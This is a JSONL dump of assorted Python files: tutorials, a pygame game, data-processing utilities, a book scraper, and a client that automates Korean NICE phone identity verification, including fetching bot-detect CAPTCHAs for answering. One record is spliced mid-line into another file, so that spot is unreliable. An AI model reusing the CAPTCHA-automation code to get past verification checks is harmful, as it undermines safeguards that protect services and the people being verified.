+{"seq_id":"347608693","text":"class Gun:\n\n def __init__(self, model):\n\n # 1.抢的型号\n self.model = model\n\n # 2.子弹的数量\n self.bullet_count = 0\n\n def add_bullet(self, count):\n\n self.bullet_count += count\n\n def shoot(self):\n # 1.判断子弹数量\n if self.bullet_count <= 0:\n print (\"[%s]没有子弹了...\" % self.model)\n\n return\n\n # 2.发射子弹,-1\n self.bullet_count -= 1\n\n # 3.提示发射信息\n print (\"[%s] 突突突... [%d]\" % (self.model, self.bullet_count))\n\n\nclass Soldiers:\n def __init__(self, name):\n\n # 1.新兵的姓名\n self.name = name\n\n # 2.枪\n self.gun = None\n\n\n def fire(self):\n\n # 1.判断士兵是否有枪\n if self.gun is None:\n print (\"[%s] 还没有枪\" % self.name)\n\n return\n\n # 2.高喊口号\n print (\"冲啊...[%s]\" % self.name)\n\n # 3.让枪装填子弹\n self.gun.add_bullet(50)\n\n # 4.让枪发射子弹\n self.gun.shoot()\n\n\n# 1.创建抢对象\nak47 = Gun(\"ak47\")\n\n# 2.创建许三多\nxusanduo = Soldiers(\"许三多\")\n\n# xusanduo.gun = ak47\nxusanduo.fire()\n\nprint (xusanduo.gun)\n","sub_path":"08_面向对象/ddd_16_士兵突击_03_士兵开火.py","file_name":"ddd_16_士兵突击_03_士兵开火.py","file_ext":"py","file_size_in_byte":1212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"180863947","text":"# -*- coding: utf-8 -*-\n# __author__ = 'XingHuan'\n# 9/22/2018\n\n# Copyright 2018 XingHuan\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\nfrom sins.db.models import model_dict\n\n\nUP_ENTITY_DICT = {\n 'Project': {},\n 'Sequence': {'Project': 'project'},\n 'Shot': {'Sequence': 'sequence'},\n 'AssetType': {'Project': 'project'},\n 'Asset': {'AssetType': 'asset_type'},\n 'Task': {'Asset': 'asset', 'Shot': 'shot'},\n 'Version': {'Task': 'task'},\n}\n\n\ndef gen_entity_dict(entity_list):\n result = {}\n for i in entity_list:\n if i is not None:\n result.update({i.__class__.__name__: i})\n return result\n\n\ndef get_up_entitys(entity):\n result = {}\n entity_class_name = entity.__class__.__name__\n up_entity_dict = UP_ENTITY_DICT.get(entity_class_name)\n for key in up_entity_dict:\n value = getattr(entity, up_entity_dict[key])\n if value is not None:\n up_entitys = get_up_entitys(value)\n result.update({key: value})\n result.update(up_entitys)\n result.update({entity_class_name: entity})\n return result\n\n\ndef find_entity(path, query_dict):\n \"\"\"\n\n :param path: Version\n :param query_dict: {'id': '100'}\n :return:\n \"\"\"\n entity_class_name = path\n entity_class = model_dict.get(entity_class_name)\n if entity_class is None:\n return None\n else:\n try:\n entity = entity_class.get(id=int(query_dict['id']))\n except entity_class.DoesNotExist:\n return None\n\n return get_up_entitys(entity)\n\n\ndef create_url(entity):\n return '{}?id={}'.format(entity.__class__.__name__, entity.id)\n","sub_path":"sins/adapters/example_url_entity_define.py","file_name":"example_url_entity_define.py","file_ext":"py","file_size_in_byte":2134,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"612566669","text":"# Create a function that concatenates the number 7 to the end of every chord in a list. If a chord already ends with a 7, ignore that chord.\ndef csMakeItJazzy(chords):\n for index in range(len(chords)):\n if chords[index].__contains__(\"7\"):\n continue\n elif chords == []:\n return []\n else:\n chords[index] = chords[index] + \"7\"\n return chords\n","sub_path":"MY_REPOS/DATA_STRUC_PYTHON_NOTES/WEEKS/wk17/d2/more-examples/makeItJazzy.py","file_name":"makeItJazzy.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"544072103","text":"import pygame\nimport sys\nfrom pygame.sprite import Sprite,Group\nclass Settings():\n def __init__(self):\n self.screen_width = 1066\n self.screen_height = 688\n self.bg_color = (230,230,230)\n # 设置飞船的移动量\n self.ship_speed_factor = 1.5\n # 设置子弹的属性\n self.bullet_speed_factor = 1\n self.buller_width = 3\n self.buller_height = 15\n self.buller_color = 60,60,60\n\nclass Ship():\n def __init__(self,screen,Setting):\n self.Setting = Setting\n self.screen = screen\n self.image = pygame.image.load(\"img/hero.gif\")\n self.rect = self.image.get_rect()\n self.screen_rect = screen.get_rect()\n self.rect.centerx = self.screen_rect.centerx\n self.rect.bottom = self.screen_rect.bottom\n # 在飞船的center属性中使用float\n self.center = float(self.rect.centerx)\n # 移动标识\n self.moving_right = False\n self.moving_left = False\n self.moving_top = False\n self.moving_bottom = False\n\n def update(self):\n # 根据移动标识移动飞船的位置\n \"\"\"if self.moving_right:\n self.rect.centerx +=self.center\n if self.moving_left:\n self.rect.centerx -=self.center\n if self.moving_up:\n self.rect.bottom -=self.center\n if self.moving_down:\n self.rect.bottom +=self.center\"\"\"\n if self.moving_right and self.rect.right < self.screen_rect.right:\n self.center += self.Setting.ship_speed_factor\n if self.moving_left and self.rect.left >0:\n self.center -= self.Setting.ship_speed_factor\n\n\n # 更新\n self.rect.centerx = self.center\n def blitem(self):\n self.screen.blit(self.image,self.rect)\n# 创建子弹类\nclass Buller(Sprite):\n \"\"\"一个队飞机发射子弹管理的类\"\"\"\n def __init__(self,setting,screen,ship):\n \"\"\"在飞船所处的位置建立一个子弹对象\"\"\"\n super().__init__()\n self.screen = screen\n\n # 在(0,0)处创建一个子弹对象,并设置正确的位置\n self.rect = pygame.Rect(0,0,setting.buller_width,\n setting.buller_height)\n # 子弹的初始位置等于飞船的初始位置的顶部\n self.rect.centerx = ship.rect.centerx\n self.rect.top = ship.rect.top\n # 存储用小数表示子弹的位置\n self.y = float(self.rect.y)\n # 颜色和速度\n self.color = setting.buller_color\n self.speed_factor = setting.bullet_speed_factor\n\n def update(self):\n \"\"\"向上移动子弹 更新子弹所在的位置的小数值\"\"\"\n self.y -= self.speed_factor\n #更新表示子弹的rect\n self.rect.y = self.y\n\n def draw_buller(self):\n \"\"\"在屏幕上绘制子弹\"\"\"\n pygame.draw.rect(self.screen,self.color,self.rect)\n\ndef chect_events():\n for evevt in pygame.event.get():\n if evevt.type == pygame.QUIT:\n sys.exit()\n\ndef chect_event(ship):\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n elif event.type == pygame.KEYDOWN:\n if event.key == pygame.K_RIGHT:\n ship.moving_right=True\n if event.key == pygame.K_LEFT:\n ship.moving_left = True\n if event.key == pygame.K_UP:\n ship.moving_up = True\n if event.key == pygame.K_DOWN:\n ship.moving_down = True\n\n elif event.type == pygame.KEYUP:\n if event.key == pygame.K_RIGHT:\n ship.moving_right=False\n if event.key == pygame.K_LEFT:\n ship.moving_left = False\n if event.key == pygame.K_UP:\n ship.moving_up = False\n if event.key ==pygame.K_DOWN:\n ship.moving_down = False\n\ndef run_game():\n pygame.init()\n setting = Settings()\n screen = pygame.display.set_mode((setting.screen_width,setting.screen_height))\n pygame.display.set_caption(\"alien\")\n ship = Ship(screen,setting)\n bullers = Group()\n buller = Buller(setting,screen,ship)\n\n while True:\n\n chect_events()\n screen.fill(setting.bg_color)\n chect_event(ship)\n ship.blitem()\n ship.update()\n buller.update()\n buller.draw_buller()\n pygame.display.flip()\n\nif __name__ == '__main__':\n run_game()\n\n\n","sub_path":"cp 习题课练习/项目/alien/alien03.py","file_name":"alien03.py","file_ext":"py","file_size_in_byte":4461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"192944606","text":"\n################################################ Load Grants Vertices #################################################\n\nmy_check_file = open(\"C:/Users/jacke/OneDrive - Georgia State University/GSU NSC/Jack/Vorpy/test_data/vdos results/EDTA_Mg_generic_atoms/EDTA_Mg_generic.txt\", 'r')\n\nmy_check_file = my_check_file.readlines()\ncheck_verts = []\nfor i in range(1, len(my_check_file)):\n line = my_check_file[i].split(',')\n # Create the array\n my_ndxs = line[0:4]\n\n my_tested_ndxs = []\n # Go through the indices testing if they are integers or not\n for ndx in my_ndxs:\n try:\n my_int = int(ndx) - 1\n my_tested_ndxs.append(my_int)\n except IndexError:\n my_tested_ndxs = None\n break\n if my_tested_ndxs is not None:\n # Add it to the list\n check_verts.append(my_tested_ndxs + [round(float(_), 3) for _ in line[4:7]])\n\n\n######################################## Load My Vertices #############################################################\n\nmy_file = open(\"C:/Users/jacke/OneDrive - Georgia State University/GSU NSC/Jack/Vorpy/test_data/Outputs/EDTA_Mg/EDTA_Mg_verts.txt\", 'r')\nmy_file = my_file.readlines()\nmy_verts, my_check_verts, missing_verts = [], [], []\nfor i in range(len(my_file)):\n line = my_file[i].split()\n # Create the array\n if line[0].lower() == 'vert':\n my_ndxs = line[1:5]\n my_tested_ndxs = []\n # Go through the indices testing if they are integers or not\n for ndx in my_ndxs:\n try:\n my_tested_ndxs.append(int(ndx))\n except IndexError:\n my_tested_ndxs = None\n break\n if my_tested_ndxs is not None:\n for ndx in check_verts:\n if ndx[:4] == my_tested_ndxs:\n my_check_verts.append(ndx)\n my_verts.append(my_tested_ndxs + [round(float(_), 3) for _ in line[5:9]])\n else:\n missing_verts.append(ndx)\nfor i in range(len(my_check_verts)):\n\n print(my_check_verts[i], my_verts[i])\nmissing_verts = []\nfor vert in check_verts:\n if vert not in my_check_verts:\n missing_verts.append(vert)\nprint(len(my_check_verts))\nprint(missing_verts)\n\n\n","sub_path":"Data/sort_verts.py","file_name":"sort_verts.py","file_ext":"py","file_size_in_byte":2246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"585496113","text":"import Filemanager\nimport deng_lu\nuser_name = \"\"\ndef creat_id():\n id =1\n while True:\n yield id\n id+=1\ndef add_student():\n while True:\n student_name = input(\"请输入学生名字:\")\n student_age = int(input(\"请输入学生年龄:\"))\n student_tel = int(input(\"请输入学生电话:\"))\n re =creat_id()\n student_id =\"stu_%.3d\"%next(re)\n dict1={\"id\":student_id,\"name\":student_name,\"age\":student_age,\"tel\":student_tel}\n if not Filemanager.read_json_file(\"file/\"+user_name+\".json\"):\n add_student1 =[]\n add_student1.append(dict1)\n Filemanager.write_json_file(\"file/\"+user_name+\".json\",add_student1)\n print(\"添加成功!\")\n else:\n count1=Filemanager.read_json_file(\"file/\"+user_name+\".json\")\n count1.append(dict1)\n Filemanager.write_json_file(\"file/\" + user_name + \".json\", count1)\n print(\"添加成功!\")\n num2 = input(\"\"\"❀1.继续添加\n❀2.退出\n请选择(1-2):\"\"\")\n if num2=='1':\n continue\n else:\n break\n\n\n\n\ndef show_manage_page():\n while True:\n print('==========学生管理页面==========')\n print(\"\"\"🌺🌺欢迎%s \n❀ 1.添加学生\n❀ 2.查看学生\n❀ 3.修改学生信息\n❀ 4.删除学生\n❀ 5.退出\n==========================\"\"\"% user_name)\n num1 =int(input(\"请选择(1-5)\"))\n if num1 == 1:\n add_student()\n elif num1==2:\n 1\n","sub_path":"Python1808/第一阶段/day12-json和异常捕获/student_manager.py","file_name":"student_manager.py","file_ext":"py","file_size_in_byte":1536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"79709559","text":"import os\n\ninputfolder = '/N/dc2/projects/PromoterPopGen/Xuan'\noutputfolder = '/N/dc2/projects/PromoterPopGen/Xuan/h_matrix'\n\n\ndef cat_gff_h(gfffile, h_file, outputfolder):\n with open(h_file) as hf:\n hsplit = [line.split() for line in hf]\n\n head = hsplit[0]\n pj = 1\n\n population_h_dict = {i: {} for i in head}\n promoter_name_dict = {}\n promoter_center_list = []\n\n with open(gfffile) as gf:\n for line in gf:\n if line[0] == '#' or len(line) < 3:\n continue\n linesp = line.split()\n left = int(linesp[3])\n right = int(linesp[4])\n strand = linesp[6]\n center = int(round((left + right) / 2))\n promoter_center_list.append(center)\n if center not in promoter_name_dict:\n promoter_name_dict[center] = linesp[8]\n for pop in head:\n population_h_dict[pop][center] = []\n\n while pj+1 str:\n \"\"\"`menuId`값 getter\n\n 주어진 response에서 `menuId` 값 64글자를 리턴합니다\n\n Args:\n response (response): requests.get/post의 응답 결과\n\n Returns:\n menu_id (str): `menuId` 값\n \"\"\"\n data = response.text\n\n menu_id = re.search(\n r'menuId\\s{0,}=\\s{0,}\"([a-z\\d]{64})\"', data).group(1)\n\n return menu_id\n\n def get_data(self):\n return pprint.pformat(self._data)\n\n def __init__(self, session: Session = Session()):\n self._session = session\n\n def start(self, encode_data):\n\n self._data.update({\"encode_data\": encode_data})\n\n res = self._session.post(\n \"https://nice.checkplus.co.kr/CheckPlusSafeModel/service.cb\", data={\n \"m\": \"checkplusSerivce\",\n \"EncodeData\": encode_data\n })\n\n self._menu_id = self._get_menu_id(res)\n return res.text\n\n def check_by_sms(self, mno, name, birth, sex, mobile_number):\n \"\"\"sms 본인확인\n\n Args:\n mno (str): 통신사\n name (str): 실명\n birth (digit[6]): YYMMDD형식의 생년월일\n sex (digit): 성별(주민등록번호 뒤 7자리 중 첫번째 숫자)\n mobile_number (numbers): 휴대폰 번호(no hyphen'-')\n\n Returns:\n (str): 응답 텍스트\n \"\"\"\n data = {\n \"m\": \"authMobile01\",\n \"mobileAuthType\": \"SMS\",\n \"nciInfo\": \"\",\n \"menuId\": self._menu_id,\n \"mobileco\": mno,\n \"agree\": \"on\", # 전체 동의\n \"agree1\": \"Y\", # 개인정보이용동의\n \"agree2\": \"Y\", # 고유식별정보처리동의\n \"agree3\": \"Y\", # 서비스이용약관동의\n \"agree4\": \"Y\", # 통신사이용약관동의\n }\n\n self._data.update({\n \"name\": name,\n \"birth\": birth,\n \"sex\": sex,\n \"mobile_number\": mobile_number\n })\n\n res = self._session.post(\n \"https://nice.checkplus.co.kr/CheckPlusSafeModel/service.cb\", data=data)\n\n self._menu_id = self._get_menu_id(res)\n\n # BDC_VCID_CAPTCHA 값 추출 후 저장\n html = res.text\n soup = bs(html, 'html.parser')\n self._data.update({\n \"BDC_DATA\": {\n \"BDC_VCID_CAPTCHA\": soup.find(\n 'input', {'name': 'BDC_VCID_CAPTCHA'}).attrs['value']\n }\n })\n return res.text\n\n def get_captcha(self, mode=\"image\"):\n \"\"\"bot detect captcha image/sound request\n\n Args:\n mode (str, optional): [description]. Defaults to \"image\".\n\n Returns:\n [type]: [description]\n \"\"\"\n\n url = \"https://nice.checkplus.co.kr/botdetectcaptcha\"\n\n self._timestamp = int(time.time())\n\n # GET p\n res = self._session.get(url, params={\n \"get\": \"p\",\n \"c\": \"CAPTCHA\",\n \"t\": self._data\n .get(\"BDC_DATA\")\n .get(\"BDC_VCID_CAPTCHA\"),\n \"d\": self._timestamp\n })\n\n p_data = json.loads(res.text) # p_data dictionary로 변환\n\n self._data.get(\"BDC_DATA\").update({\n \"BDC_Hs_CAPTCHA\": p_data.get(\"hs\"),\n \"BDC_SP_CAPTCHA\": p_data.get(\"sp\"),\n })\n\n # GET image/sound\n res = self._session.get(url, params={\n \"get\": mode, # image or sound\n \"c\": \"CAPTCHA\",\n \"t\": self._data\n .get(\"BDC_DATA\")\n .get(\"BDC_VCID_CAPTCHA\"),\n \"d\": self._timestamp\n })\n\n # base64 encoded image\n image = BytesIO(res.content).read()\n b64image = base64.b64encode(image)\n return b64image\n\n def check_captcha(self, answer: str):\n \"\"\"CAPTCHA validation request\n\n Args:\n answer (str): [description]\n \"\"\"\n\n url = \"https://nice.checkplus.co.kr/botdetectcaptcha\"\n\n res = self._session.get(url, params={\n \"get\": \"validation-result\",\n \"c\": \"CAPTCHA\",\n \"t\": self._data\n .get(\"BDC_DATA\")\n .get(\"BDC_VCID_CAPTCHA\"),\n \"d\": time, # TODO modify\n \"i\": answer\n })\n\n is_success = (lambda x: x == \"true\")\n\n if(is_success(res.text)):\n res = self._session.post(url, data={\n \"m\": \"authMobile01Proc\",\n \"authType\": \"SMS\",\n \"menuId\": self._menu_id,\n \"username\": \"\",\n \"mynum1\": \"\",\n \"mynum2\": \"\",\n \"mobileno\": \"\",\n \"BDC_VCID_CAPTCHA\": \"\",\n \"BDC_BackWorkaround_CAPTCHA\": \"1\",\n \"BDC_Hs_CAPTCHA\": \"\",\n \"BDC_SP_CAPTCHA\": \"\",\n \"answer\": answer\n })\n\n def request_auth(self, type: str = \"sms\"):\n pass\n\n def check_auth(self, auth_number: str):\n pass\n","sub_path":"src/koncert/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"70830196","text":"import h5py\nimport os\nimport glob\nimport numpy as np\nimport imageio\nfrom scipy.ndimage import zoom\n\n\ndef read_h5(filename, dataset=''):\n fid = h5py.File(filename, 'r')\n if dataset == '':\n dataset = list(fid)[0]\n return np.array(fid[dataset])\n\n\ndef read_volume(filename, dataset=''):\n img_suf = filename[filename.rfind('.')+1:]\n if img_suf == 'h5':\n data = read_h5(filename, dataset)\n elif 'tif' in img_suf:\n data = imageio.volread(filename).squeeze()\n elif 'png' in img_suf:\n data = read_imgs(filename)\n else:\n raise ValueError(f'unrecognizable file format for {filename}')\n return data\n\n\ndef save_volume(filename, vol, dataset='main', format='h5'):\n if format == 'h5':\n write_h5(filename, vol, dataset=dataset)\n if format == 'png':\n current_directory = os.getcwd()\n img_save_path = os.path.join(current_directory, filename)\n if not os.path.exists(img_save_path):\n os.makedirs(img_save_path)\n for i in range(vol.shape[0]):\n imageio.imsave(f'{img_save_path:s}/{i:04d}.png', vol[i])\n\n\ndef read_img(filename, do_channel=False):\n # x,y,c\n if not os.path.exists(filename): \n im = None\n else: # note: cv2 do \"bgr\" channel order\n im = imageio.imread(filename)\n if do_channel and im.ndim == 2:\n im = im[:, :, None]\n return im\n\n\ndef read_imgs(filename):\n file_list = sorted(glob.glob(filename))\n num_imgs = len(file_list)\n\n # decide numpy array shape:\n img = imageio.imread(file_list[0])\n data = np.zeros((num_imgs, img.shape[0], img.shape[1]), dtype=np.uint8)\n data[0] = img\n\n # load all images\n if num_imgs > 1:\n for i in range(1, num_imgs):\n data[i] = imageio.imread(file_list[i])\n\n return data\n\n\ndef write_h5(filename, dtarray, dataset='main'):\n fid = h5py.File(filename, 'w')\n if isinstance(dataset, (list,)):\n for i, dd in enumerate(dataset):\n ds = fid.create_dataset(dd, dtarray[i].shape, compression=\"gzip\", dtype=dtarray[i].dtype)\n ds[:] = dtarray[i]\n else:\n ds = fid.create_dataset(dataset, dtarray.shape, compression=\"gzip\", dtype=dtarray.dtype)\n ds[:] = dtarray\n fid.close()\n\n \n####################################################################\n## tile to volume\n####################################################################\ndef vast_to_seg(seg):\n # convert to 24 bits\n if seg.ndim==2 or seg.shape[-1]==1:\n return np.squeeze(seg)\n elif seg.ndim == 3: # 1 rgb image\n return seg[:,:,0].astype(np.uint32)*65536+seg[:,:,1].astype(np.uint32)*256+seg[:,:,2].astype(np.uint32)\n elif seg.ndim == 4: # n rgb image\n return seg[:,:,:,0].astype(np.uint32)*65536+seg[:,:,:,1].astype(np.uint32)*256+seg[:,:,:,2].astype(np.uint32)\n\ndef tile_to_volume(tiles, coord, coord_m, tile_sz, dt=np.uint8, tile_st=(0, 0), tile_ratio=1, do_im=True, ndim=1, black=128):\n # x: column\n # y: row\n # no padding at the boundary\n # st: starting index 0 or 1\n z0o, z1o, y0o, y1o, x0o, x1o = coord # region to crop\n z0m, z1m, y0m, y1m, x0m, x1m = coord_m # tile boundary\n\n bd = [max(-z0o, z0m), max(0, z1o-z1m), max(-y0o, y0m), max(0, y1o-y1m), max(-x0o, x0m), max(0, x1o-x1m)]\n z0, y0, x0 = max(z0o, z0m), max(y0o, y0m), max(x0o, x0m)\n z1, y1, x1 = min(z1o, z1m), min(y1o, y1m), min(x1o, x1m)\n\n result = black*np.ones((z1-z0, y1-y0, x1-x0), dt)\n c0 = x0 // tile_sz # floor\n c1 = (x1 + tile_sz-1) // tile_sz # ceil\n r0 = y0 // tile_sz\n r1 = (y1 + tile_sz-1) // tile_sz\n for z in range(z0, z1):\n pattern = tiles[z]\n for row in range(r0, r1):\n for column in range(c0, c1):\n if '{' in pattern:\n path = pattern.format(row=row+tile_st[0], column=column+tile_st[1])\n else:\n path = pattern\n patch = read_img(path, do_channel=True)\n if patch is not None:\n if tile_ratio != 1: # im ->1, label->0\n patch = zoom(patch, [tile_ratio,tile_ratio, 1], order=int(do_im))\n \n # last tile may not be of the same size\n xp0 = column * tile_sz\n xp1 = xp0 + patch.shape[1]\n yp0 = row * tile_sz\n yp1 = yp0 + patch.shape[0]\n x0a = max(x0, xp0)\n x1a = min(x1, xp1)\n y0a = max(y0, yp0)\n y1a = min(y1, yp1)\n if do_im: # image\n result[z-z0, y0a-y0:y1a-y0, x0a-x0:x1a-x0] = patch[y0a-yp0:y1a-yp0, x0a-xp0:x1a-xp0, 0]\n else: # label\n result[z-z0, y0a-y0:y1a-y0, x0a-x0:x1a-x0] = vast_to_seg(patch[y0a - yp0:y1a - yp0, x0a - xp0:x1a - xp0])\n if max(bd) > 0:\n result = np.pad(result, ((bd[0], bd[1]), (bd[2], bd[3]), (bd[4], bd[5])), 'reflect')\n return result\n","sub_path":"connectomics/data/utils/data_io.py","file_name":"data_io.py","file_ext":"py","file_size_in_byte":5082,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"217678605","text":"\nimport numpy as np\n\nfrom scipy import sparse\n\nimport snowballstemmer\n\nimport pickle\n\nclass StopWordFilter(object):\n\n def __init__(self, stopword_file):\n self.stopwords = set()\n with open(stopword_file, 'r', encoding='utf-8') as f:\n for line in f:\n for stopword in line.split():\n self.stopwords.add(stopword)\n\n def filter(self, word_list):\n return [word for word in word_list if word not in self.stopwords]\n\nclass MemoizedStemmer(object):\n\n def __init__(self):\n self.stemmer = snowballstemmer.stemmer('english')\n self.lookup = {}\n\n def stem(self, word):\n res = self.lookup.get(word)\n \n if res is None:\n stemmed = self.stemmer.stemWord(word)\n self.lookup[word] = stemmed\n res = stemmed\n\n return res\n\nclass VocabularyBuilder(object):\n\n def __init__(self):\n self.word_counts = {}\n\n def add(self, word):\n if self.word_counts.get(word) is None:\n self.word_counts[word] = 1\n else:\n self.word_counts[word] += 1\n\n def build(self, cutoff=10):\n word_id = 0\n\n vocab = {}\n inv_vocab = {}\n\n for word in self.word_counts:\n if self.word_counts[word] >= cutoff:\n vocab[word] = word_id\n inv_vocab[word_id] = word\n word_id += 1\n\n return vocab, inv_vocab\n\n\ndef build_vocab(infiles, stopword_file, voc_out, inv_voc_out, cutoff=10):\n\n stemmer = MemoizedStemmer()\n stopwords = StopWordFilter(stopword_file)\n vb = VocabularyBuilder()\n\n for filename in infiles:\n with open(filename, 'r', encoding='utf-8') as f:\n for line in f:\n words = line.split()\n filtered = stopwords.filter(words)\n for word in filtered:\n stemmed = stemmer.stem(word)\n vb.add(stemmed)\n\n vocab, inv_vocab = vb.build(cutoff)\n\n with open(voc_out, 'wb') as f:\n pickle.dump(vocab, f, protocol=-1)\n\n with open(inv_voc_out, 'wb') as f:\n pickle.dump(inv_vocab, f, protocol=-1)\n\ndef build_cooc(infiles, vocab, cooc_out):\n\n rows = []\n cols = []\n data = []\n\n stemmer = MemoizedStemmer()\n\n for filename in infiles:\n with open(filename, 'r', encoding='utf-8') as f:\n for line in f:\n stemmed = [stemmer.stem(w) for w in line.split()]\n tokens = [vocab.get(w) for w in stemmed if vocab.get(w) is not None]\n\n for t1 in tokens:\n for t2 in tokens:\n rows.append(t1)\n cols.append(t2)\n data.append(1)\n\n cooc = sparse.coo_matrix((data, (rows, cols)))\n cooc.sum_duplicates()\n\n with open(cooc_out, 'wb') as f:\n pickle.dump(cooc, f, protocol=-1)\n\ndef load_pickled(infile):\n with open(infile, 'rb') as f:\n result = pickle.load(f)\n\n return result\n\n","sub_path":"sentiment2/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":2994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"640517855","text":"#! /usr/bin/env python2.7\n# coding=utf-8\n__author__ = 'bulu_dog'\nimport requests\nimport multiprocessing\nfrom bs4 import BeautifulSoup\n\n# http://book.douban.com/subject_search?search_text=%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0&cat=1001\nURL = 'http://book.douban.com/subject_search'\n\n\ndef search_book(query, page):\n \"\"\"\n search book on book.douban.com and save these book's info\n :param query: query string\n :param page: the num of page\n :return: book url list\n \"\"\"\n params = {\n 'cat': 1001,\n 'search_text': query,\n 'start': page * 15\n }\n r = requests.get(URL, params=params)\n soup = BeautifulSoup(r.content, 'lxml')\n # 获取图书列表\n ul_soup = soup.findAll('div', attrs={'class': 'info'})\n book_list = []\n for item in ul_soup:\n a = item.a\n book_list.append(\n [\n a.get_text().replace('\\n', '').replace(' ', ''), # 标题\n a['href'] # URL\n ]\n )\n return book_list\n\n\ndef get_info_to_md(query):\n \"\"\"\n get all books' info in first two search pages\n :param query:\n :return:\n \"\"\"\n out_file = file(\"../\" + query.decode('utf-8') + \".md\", 'w')\n out_file.write(\"# \" + query)\n out_file.write(\" \\n---- \\n\")\n # 进程池\n pool = multiprocessing.Pool(processes=4)\n # 默认抓取前两页的内容\n num = 1\n result = []\n for i in range(num):\n books = search_book(query, i)\n for book in books:\n name = book[0]\n url = book[1]\n result.append(pool.apply_async(get_single_book_info, (url, )))\n pool.close()\n pool.join()\n for item in result:\n item = item.get()\n name = item['name'].encode('utf-8')\n image = item['img']\n out_file.write(\"###{name} \\n\".format(name=name))\n out_file.write(\" \\n\".format(name=name, url=image))\n out_file.close()\n\n\ndef get_single_book_info(url):\n \"\"\"\n 获取指定url的book的信息\n :param url: url of the book\n :return: dict() - score - name - info\n \"\"\"\n r = requests.get(url)\n soup = BeautifulSoup(r.content, 'lxml')\n name = soup.h1.get_text().replace(' ', '').replace('\\n', '')\n info = soup.find('div', attrs={'id': 'info'})\n result = []\n for item in info.get_text().splitlines():\n item = item.strip()\n if len(item) > 1:\n result.append(item)\n score = soup.find('strong', attrs={'class': 'rating_num'})\n image = soup.find('div', attrs={'id': 'mainpic'})\n return dict(name=name,\n score=score.get_text().strip(),\n info=result,\n img=image.img['src'])\n\nif __name__ == '__main__':\n get_info_to_md('数据挖掘')\n","sub_path":"build/lib/douban_util/book.py","file_name":"book.py","file_ext":"py","file_size_in_byte":2774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"577394816","text":"import numpy as np\n\n\nclass Memory():\n '''\n A memory of Image Observation in DQN\n '''\n\n def __init__(self, max=1e4, action_shape=18, state_shape=[139, 96, 3]):\n '''\n :param max: Max capacity of the memory\n :param state_shape: the origin observation shape [W,H,C]\n :param action_shape: the max number of aciton space\n '''\n super().__init__()\n # Basic info\n self.A_shape = action_shape\n self.S_shape = state_shape\n self.level = 0\n self.maxlevel = max\n # Data (the first dim is idx)\n self.S = [] # in torch img shape [C,W,H]\n self.A = []\n self.R = []\n self.Snext = []\n self.done = []\n\n def push_transition(self, S, A, R, Snext, done):\n '''\n Automatic manage the pool as a queue\n :param S: [W,H,C]\n :param A: vec\n :param R: scalar\n :param Snext: [W,H,C]\n :param done: boolean\n :return: level of the pool\n '''\n # Check S\n if self.S_shape[0] != S.shape[0] or self.S_shape[1] != S.shape[1]:\n print('Push Shape ilegel! Pass')\n return 0\n # Check A\n if not isinstance(A, np.ndarray):\n A_vec = np.zeros(self.A_shape)\n A_vec[A] = 1\n A = A_vec\n A = np.expand_dims(A, 0)\n # Trans S\n S = np.transpose(S, (2, 0, 1))\n Snext = np.transpose(Snext, (2, 0, 1))\n S = np.expand_dims(S, 0)\n Snext = np.expand_dims(Snext, 0)\n # Store\n self.level += 1\n self.S.append(S)\n self.Snext.append(Snext)\n self.A.append(A)\n self.R.append(R)\n self.done.append(done)\n if self.level > self.maxlevel:\n self.S.pop(0)\n self.Snext.pop(0)\n self.A.pop(0)\n self.R.pop(0)\n self.done.pop(0)\n self.level -= 1\n return self.level\n\n def push_memory(self, source):\n '''\n Push the source memory pool to this particular pool (with the same S,A shape)\n :param source: a MemoryPool object\n :return: if the pouring process is successful\n '''\n if isinstance(source, Memory) and source.A_shape == self.A_shape:\n for depth in range(0, source.level):\n self.push_transition(source.S[depth, :, :, :], source.A[depth, :],\n source.R[depth], source.Snext[depth, :, :, :],\n source.done[depth])\n return True\n else:\n print('Warning, Can not pour a memory to another')\n return False\n\n def clear(self):\n '''\n Clear all remembered data\n '''\n self.level = 0\n # data\n self.S = []\n self.A = []\n self.R = []\n self.Snext = []\n self.done = []\n\n def get_all(self):\n '''\n If pool is not empty, return all records\n Data shape:\n S,S' -> [B,C,W,H]\n A -> [B,A]\n R,done -> [B]\n :return: S,A,R,S',done\n '''\n if self.level == 0:\n print(\"Warning, no experience has been recorded! \")\n else:\n return np.concatenate(tuple(self.S), 0), np.concatenate(tuple(self.A), 0), np.array(self.R), np.concatenate(\n tuple(self.Snext), 0), np.array(self.done)\n\n def __getitem__(self, idx):\n return self.S[idx, :, ::], self.A[idx, :], self.R[idx], self.Snext[idx, :, :, :], self.done[idx]\n\n def __len__(self):\n return self.level\n\n def random_sample(self, batchsize):\n '''\n Random Sample from the memory pool\n '''\n if batchsize > self.level:\n return self.get_all()\n elif self.level > 0:\n idx = np.random.choice(self.level, size=batchsize, 